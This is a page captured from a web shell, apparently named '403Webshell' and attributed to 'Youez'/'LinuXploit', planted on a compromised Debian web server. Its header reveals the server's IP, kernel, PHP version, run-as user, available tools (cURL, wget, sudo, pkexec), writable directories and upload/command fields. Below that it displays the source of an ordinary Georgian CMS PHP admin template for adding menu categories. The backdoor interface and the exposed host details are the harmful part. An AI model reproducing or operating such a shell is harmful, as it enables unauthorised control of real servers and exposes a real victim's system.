403Webshell
Server IP : 80.241.246.6  /  Your IP : 216.73.216.188
Web Server : Apache/2.4.25 (Debian)
System : Linux kharagauli 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
User : www-data ( 33)
PHP Version : 7.0.33-0+deb9u12
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/kharagauli1/site/view/templates/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/kharagauli1/site/view/templates/add_new_category_inline.php
<?php
/*
@author suxoza <suxoza@gmail.com>
*/
$_id = NULL;
if(count($_GET) && isset($_GET['id'])){
     header("Content-type: text/html; Charset=utf-8");
        session_start();
         mb_internal_encoding("UTF-8");
          error_reporting(E_ALL);
           date_default_timezone_set("Asia/Tbilisi");
      require_once '../../clases/Central.php';

      $_ = new Central;
      
      $id = $_->clear($_GET['id']);
      $_id = $_->select("*","menu","small",["id",$id]);
      if(!$_id)return;
      $language = $_->_lang;
      
function search_in_array($a,$b,$language){
    if(!$a || !count($a))return;
    $return = 'გვერდი წაშლილია';
    for($i = 0; $i < count($a); $i++){
        if($a[$i]['id'] == $b)$return = $a[$i]['name_'.$language]; 
    }return $return;
}      
      
      
}

$_->_moduls();



$dacherisas = ['არსად','შიდა გვერდი','სხვა საიტი'];

$shida_gverdi = $_->select("*","menu","big");
$shida_gverdi = (isset($shida_gverdi['body']) && count($shida_gverdi['body']))?$shida_gverdi['body']:[];


?>
<style>
    #_any_languages{text-align: center;margin-top: 30px;display: none}
    .display_none{display: none}
</style>
<?php if($_id):?>
<form action="/add_new_category_change" method="post" id="add_new_category_form"><table>
        <input type="hidden" name="page_id" value="<?=$_id['id'];?>">
<?php endif;?>        
    <tr>
        <td>კატეგორია: </td>
        
        <td>

            <select name="category" onchange="select_next_step_1(this);">
                <?=($_id)?'<option value="'.$_id['category'].'">'.$_->moduls->names[$_id['category']].'</option>':'<option>აირჩიეთ კატეგორია</option>'?>
                <?php for($i = 0; $i < count($_->moduls->names); $i++):?>
                   <?php if(!in_array($_->moduls->moduls[$i], $_->available_moduls))continue;?>
                      <option value="<?=$i;?>"><?=$_->moduls->names[$i];?></option>
                <?php endfor;?>
            </select>
        </td>
    </tr>
    <tr class="<?=($_id && !$_id['category'])?'':'display_none ';?>second_step">
        <td>დაჭერისას გადავიდეს: </td>
        
        <td>
            <select name="page_action_2" onchange="select_next_step_2(this);">
                <?=($_id)?'<option value="'.$_id['category_name'].'">'.$dacherisas[$_id['category_name']].'</option>':'<option>აირჩიეთ კატეგორია</option>'?>
                <?php for($i = 0; $i < count($dacherisas); $i++):?>
                  <option value="<?=$i;?>"><?=$dacherisas[$i];?></option>
                <?php endfor;?>
            </select>
        </td>
    </tr>
    <tr class="<?=($_id && $_id['category_name'] == 1)?'':'display_none ';?>third_step">
        <td>აირჩიეთ გვერდი: </td>
        
        <td>
            <select name="page_action_3">
                <?=($_id && is_numeric($_id['url_page']))?'<option value="'.$_id['url_page'].'">'.search_in_array($shida_gverdi,$_id['url_page'],$language).'</option>':'<option>აირჩიეთ კატეგორია</option>'?>
                <?php for($i = 0; $i < count($shida_gverdi); $i++):
                   if(!$shida_gverdi[$i]['category'] || $shida_gverdi[$i]['id'] == $_id['id'])continue; 
                ?>
                  <option value="<?=$shida_gverdi[$i]['id'];?>"><?=$shida_gverdi[$i]['name_'.$language];?></option>
                <?php endfor;?>
            </select>
        </td>
     </tr>
     <tr class="<?=($_id && $_id['category_name'] == 2)?'':'display_none ';?>fourth_step">
        <td>შეიყვანეთ მისამართი: </td>
        
        <td>
            <input type="text" name="href_url" value="<?=($_id && filter_var($_id['url_site'], FILTER_VALIDATE_URL))?$_id['url_site']:'http://'?>" />
        </td>
     </tr>
     
     <tr>
         <td>
             გაიხსნას ახალ ფანჯარაში 
         </td>
         <td style="padding:3px">
             <input type="checkbox" id="payt3" name="open_in" <?=($_id && $_id['open_in'])?'checked="checked"':'';?>/><label for="payt3">კი</label>
         </td>
     </tr>

 <?php if(count($_GET) && isset($_GET['id'])):?>  
    <?php   
          for($i = 0; $i < count($_->language_config); $i++):?>
                
                            <tr>
                                <td>URL <?=$_->language_config[$i]?>:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </td>
                                <td>
                                    <input type="text" class="<?=($i)?'not_removed':'';?>"  value="<?=$_id['url_'.$_->language_config[$i]]?>" name="URL_<?=$_->language_config[$i];?>" onkeyup="this.value = this.value.replace(/\s/g,'_');"/>
                                </td>
                            </tr>
                <?php if(!$i):?>
                    </table>
                        <input type="button" style="float: right;" onclick="if(!$('#_any_languages').is(':visible'))$('#_any_languages').slideDown();else $('#_any_languages').slideUp();" value="სხვა ენები"/>
                     <table id="_any_languages"> 

               <?php endif;?>            
                <?php if($i == count($_->language_config) - 1):?>
                   </table>
                <?php endif;?>
    <?php endfor;?>
     <tr>
        <td> </td>
        <td>
            <input type="button" value="send" onclick="add_new_category()"/>
        </td>
    </tr>
</table>
</form> 
<script>
     var zuzuna = false;
    $('form[action$="add_new_category"]').submit(function(){
        return zuzuna;
    });
    function add_new_category(){
        var ret = true;
        var select = $('#add_new_category_form select[name="category"]');
        var inp = ($('#add_new_category_form input:text[name="name"]').length)?$('#add_new_category_form input:text[name="name"]').val():'saxli';
        if(inp.length  && parseInt($('option:selected',select).val()) == $('option:selected',select).val()){
            $('#add_new_category_form select').each(function(){
               if($(this).is(':visible')){
                   if(parseInt($(this).val()) != $(this).val()){
                       ret = false;
                   }
               }
            });
            if($('#add_new_category_form input:text[name="href_url"]').is(':visible')){
                if(!learnRegExp($('#add_new_category_form input:text[name="href_url"]').val()))ret = false;
            }
            if(ret){
                $('#add_new_category_form select,input:text').each(function(){
                    if(!$(this).is(':visible') && !$(this).is('.not_removed'))$(this).remove();
                }); 
                zuzuna = true;
                $('#add_new_category_form').submit();
            }
         }    
    }
    
    function select_next_step_1(a){
        var th = $(a);
        if(th.val() == 0){
            $('.second_step').removeClass('display_none').addClass('display_block');
        }else{
            $('.second_step').removeClass('display_block').addClass('display_none');
            $('.third_step').removeClass('display_block').addClass('display_none');
            $('.fourth_step').removeClass('display_block').addClass('display_none');
        }
    }
    
    function select_next_step_2(a){
        var th = $(a);
        if(th.val() == 1)
            $('.third_step').removeClass('display_none').addClass('display_block');
        else
            $('.third_step').removeClass('display_block').addClass('display_none');
        if(th.val() == 2)
            $('.fourth_step').removeClass('display_none').addClass('display_block');
        else
            $('.fourth_step').removeClass('display_block').addClass('display_none');
        
    }
    

</script>     
<?php endif;?>

Youez - 2016 - github.com/yon3zu
LinuXploit